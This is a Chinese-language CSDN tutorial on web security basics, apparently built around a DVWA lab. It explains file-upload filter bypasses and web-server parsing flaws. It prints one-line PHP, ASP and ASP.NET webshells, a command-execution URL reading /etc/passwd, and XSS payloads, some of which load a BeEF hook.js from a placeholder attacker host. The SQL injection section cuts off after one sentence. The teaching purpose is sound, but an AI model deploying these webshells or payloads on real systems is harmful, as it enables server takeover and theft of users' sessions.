Web安全基础

本文介绍了Web安全的基础知识,包括文件上传漏洞的常见检测与绕过方法,如JavaScript验证、Content-Type篡改、0×00截断、黑名单与白名单策略的绕过等。同时,讲解了SQL注入的原理,如利用错误反馈、布尔盲注、UNION查询和时间盲注等方法进行攻击,并阐述了XSS攻击的类型和危害。此外,还涉及了如何利用Markdown编辑器提高写作效率。
摘要由CSDN通过智能技术生成

环境安装

  • DVWA下载地址
    https://github.com/ethicalhack3r/DVWA
  • Phpstudy下载地址
    http://pphstudy.php.cn

文件上传

一些web应用程序中允许上传图片,文本或者其他资源到指定的位置,文件上传漏洞就是利用这些可以上传的地方将恶意代码植入到服务器中,再通过url去访问以执行代码
通常web 站点会有用户注册功能,而当用户登入之后大多数情况下都会存在类似头像上传、附件上传一类的功能,这些功能点往往存在上传验证方式不严格的安全缺陷,是在web 渗透中非常关键的突破口,只要经过仔细测试分析来绕过上传验证机制,往往会造成被攻击者直接上传web 后门,进而控制整个web 业务的控制权,复杂一点的情况是结合webserver 的解析漏洞来上传后门获取权限。
一般情况下,一个文件上传过程中的检测包括:

A 客户端javascript 检测(通常为检测文件扩展名)

B 服务端MIME 类型检测(检测Content-Type 内容)

C 服务端目录路径检测(检测跟path 参数相关的内容)

D 服务端文件扩展名检测(检测跟文件extension 相关的内容)

E 服务端文件内容检测(检测内容是否合法或含有恶意代码
  • 对于A类检测,通常在上传页面里含有专门检测文件上传的javascript 代码,最常见的就是检测扩展名是否合法,使用burp代理拦截后修改文件扩展名即可;
  • 对于B类检测,可以使用burp代理拦截后,将request包的Content-Type 类型修改为image/jpeg;
  • 对于C类检测,一般就检测路径是否合法,但稍微特殊一点的都没有防御。因为对目录路径的检测不够严谨而导致可以用0×00 截断进行攻击,例如
    sFilePath =C:/wamp/www/userfiles/image/fuck.php .gif/fvck.gif (.php 后面是0×00)
    当执行move_uploaded_file($oFile[‘tmp_name’], $sFilePath) 这个函数时
  1. 先将sFilePath写入到指定位置,但是底层操作应该是调用的类似于c 语言,遇到0×00会自动截断,所以真正写入的实际地址是C:/wamp/www/userfiles/image/fuck.php
  2. 把原本fvck.gif里的内容(目前应该存在临时文件,类似于C:/Temp/phpf3at7b这样的文件)然后把C:/Temp/phpf3at7b 的内容写入到C:/wamp/www/userfiles/image/fuck.php 里,这样便获得了我们所想要的webshell
  • 对于D类检测,通常包括黑名单策略和白名单策略。
    黑名单策略
$BlackList=array("php","htaccess","asp","aspx");

根据黑名单列表可以看出服务器不允许上传攻击中常用的php、htaccess、asp、aspx等脚本文件,也就是说这些文件都会被服务端所拦截,不能上传成功。
文件名大小写绕过
用像AsP,pHp 之类的文件名绕过黑名单检测
名单列表绕过
用黑名单里没有的名单进行攻击,比如黑名单里没有asa 或cer 之类
特殊文件名绕过
比如发送的http 包里把文件名改成test.asp. 或test.asp_(下划线为空格),这种命名方式在windows 系统里是不被允许的,所以需要在burp 之类里进行修改,然后绕过验证后,会被windows 系统自动去掉后面的点和空格,但要注意Unix/Linux 系统没有这个特性。
0×00 截断绕过
给个简单的伪代码
name= getname(http request) //假如这时候获取到的文件名是test.asp.jpg(asp 后面为0x00)
type= gettype(name) //而在gettype()函数里处理方式是从后往前扫描扩展名,所以判断为jpg
if(type == jpg)
SaveFileToPath(UploadPath.name,name) //但在这里却是以0x00 作为文件名截断
//最后以test.asp存入路径里
双扩展名解析绕过攻击 (1)- 基于web 服务的解析逻辑
比如在Apachemanual 中有这样一段描述:
“Files can havemore than one extension, and the order of the extensions is normallyirrelevant.For example, if the file welcome.html.fr maps onto content typetext/html and language Frenchthen the file welcome.fr.html will map onto exactlythe same information. If more than oneextension is given which maps onto thesame type of meta-information, then the one to the right will be used, exceptfor languages and content encodings. For example, if .gif maps to the MIME-typeimage/gif and .html maps to the MIME-type text/html, then the filewelcome.gif.html will be associated with the MIME-type text/html.”
如果上传一个文件名为help.asp.123 首先扩展名123 并没有在扩展名blacklist 里,然后扩展名123 也没在Apache 可解析扩展名list 里,这个时候它会向前搜 寻下一个可解析扩展名,或搜寻到.php,最后会以php 执行。
解析调用/漏洞绕过
这类漏洞直接配合上传一个代码注入过的非黑名单文件即可,再利用解析调用/漏洞
双扩展名解析绕过攻击(2) – 基于web服务的解析方式
如果在Apache的conf 里有这样一行配置 AddHandlerphp5-script .php 这时只要文件名里包含.php 即使文件名是test2.php.jpg 也会以php 来执行。
危险解析绕过攻击- 基于web 服务的解析方式
如果在Apache的conf 里有这样一行配置 AddTypeapplication/x-httpd-php .jpg 即使扩展名是jpg,一样能以php 方式执行。

白名单策略
服务端通过获取上传文件的扩展名来匹配预先定义的合法扩展名数组,如果未能成功匹配的话,认为上传文件不合法,返回报错信息,如果扩展名能成功匹配,则认为上传文件合法,进行文件保存操作。

拿上传图片举例,服务端定义的白名单:“$WhiteList=array(“png”,”jpg”,”jpeg”,”gif”);“只允许上传png、jpg、jpeg、gif文件,如果攻击者上传恶意脚本文件(例如php、asp文件)就会被服务端拦截,让攻击者无法攻击服务器。相对来说比黑名单安全一些,但也不见得就绝对安全了
0×00 截断绕过
用像test.asp%00.jpg的方式进行截断,属于白名单文件,再利用服务端代码的检测逻辑漏洞进行攻击,目前我只遇到过asp 的程序有这种漏洞
解析调用/漏洞绕过
这类漏洞直接配合上传一个代码注入过的白名单文件即可,再利用解析调用/漏洞
.htaccess文件攻击
无论是黑名单还是白名单,直接点就是直接攻击.htaccess 文件(其实目前我只见过结合黑名单攻击的,在后面的攻击分类里,我会把它归到黑名单绕过攻击里。但网上是把这个单独分类出来的,可能别人有一些我不知道的方式和技巧吧,所以在这里我也暂时保留这个单独分类)
在PHP manual 中提到了下面一段话:
move_uploaded_filesection, there is a warning which states
‘Ifthe destination file already exists, it will be overwritten.’
如果PHP安全没配置好,就可以通过move_uploaded_file 函数把自己写的.htaccess 文件覆盖掉服务器上的,这样就能任意定义解析名单了。

1.老版本的IIS中的目录解析漏洞,如果网站目录中有一个 /.asp/目录,那么此目录下面的一切内容都会被当作asp脚本来解析
2.老板本的IIS中的分号漏洞:IIS在解析文件名的时候可能将分号后面的内容丢弃,那么我们可以在上传的时候给后面加入分号内容来避免黑名单过滤,如 a.asp;jpg
3.旧版Windows Server中存在空格和dot漏洞类似于 a.php. 和 a.php[空格] 这样的文件名存储后会被windows去掉点和空格,从而使得加上这两个东西可以突破过滤,成功上传,并且被当作php代码来执行
4.nginx空字节漏洞 xxx.jpg%00.php 这样的文件名会被解析为php代码运行
5.apache的解析漏洞,上传如a.php.rar a.php.gif 类型的文件名,可以避免对于php文件的过滤机制,但是由于apache在解析文件名的时候是从右向左读,如果遇到不能识别的扩展名则跳过,rar等扩展名是apache不能识别的,因此就会直接将类型识别为php,从而达到了注入php代码的目的
  • 对于E类检测,如果文件内容检测设置得比较严格,那么上传攻击将变得非常困难,也可以说它是在代码层检测的最后一道关卡,如果它被突破了,就算没有代码层的漏洞,也给后面利用应用层的解析漏洞带来了机会。

文件包含漏洞

  1. 制作一句话图片木马,可以使用工具editjpgcom.exe
<?fputs(fopen("shell.php","w"),'<?php eval($_POST['password']);?>')?>
  1. 上传图片木马
  2. 执行文件包含并生成木马
  3. 使用中国菜刀连接
//php
<?php @eval($_POST['pass']);?>
//asp
<%eval request("pass")%>
//asp.net
<%@ Page Language=" Jscript"%><%eval(Request.Item["pass"'],"unsafe");%>

//使用php函数,例如phpinfo()
<?php eval($_REQUEST['cmd']);?>
http://127.0.0.1/dvwa/hackable/uploads/shell.php?cmd=phpinfo();

//使用系统命令,例如ls
<?php system($_REQUEST['cmd']);?>
http://127.0.0.1/dvwa/hackable/uploads/shell.php?cmd=cat /etc/password;

说明:REQUEST是在网页端输入变量访问,POST则是使用像中国菜刀之类的工具连接
5. 数据库(php脚本)

<T>类型</T>MYSQL、MSSQL、ORACLE
<H>主机地址</H>
<U>数据库用户名</U>
<P>数据库密码</P>

跨站脚本攻击XSS

  1. XSS是指恶意攻击者利用网站没有对用户提交数据进行转义处理或者过滤不在的缺点,进而添加一些代码,嵌入到web页面中去,使白的用户访问都会执行相应的嵌入代码,从而盗取用户资料,利用用户身份进行某种动作或者对访问者进行侵害的一种攻击方式。
    注:XSS是对客户端的入侵,而文件包含、文件上传、SQL注入都是对服务器端的入侵
    通常,XSS包括反射型和存储型。反射型XSS不会保存到服务器端,但可以保存在URL链接中,可以诱骗用户点击该URL链接达到目的.

  2. XSS攻击危害包括:
    (1)盗取各类用户账号
    (2)控制企业数据
    (3)盗取企业重要的具有商业价值的资料
    (4)非法转账
    (5)强制发送电子邮件
    (6)网站挂马
    (7)控制受害者机器向其他网站发起攻击

  3. 反射型XSS
    反射型XSS多为搜索框位置

<script>alert('xss')</script>
  1. 存储型XSS
<script src="172.16.70.216:3000/hook.js"></script>
  1. 构造XSS脚本
// 弹框警告
<script>alert('xss')</script>
<script>alert(document.cookie)</script>
// 页面嵌套
<iframe src=http://www.baidu.com width=300 height=300></iframe>
<iframe src=http://www.baidu.com width=0 height=0 border=0></iframe>
// 页面重定向
<script>windows.location="http://www.baidu.com"</script>
<script>location.href="http://www.baidu.com"</script>
// 弹框警告病重定向
<script>alert('请移步新站');location.href="http://www.baidu.com"</script>
// 访问恶意代码(结合beff 收集cookie)
<script src="http://BeFF_IP:3000/hook.js"></script>
//巧用图片标签
<img src="#" onerror=alert('xss')></img>
<img src="javascript:alert('xss');"></img>
<img src="http://BeFF_IP:3000/hook.js"></img>

SQL注入

SQL注入攻击是指通过构建特殊的输入作为参数

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值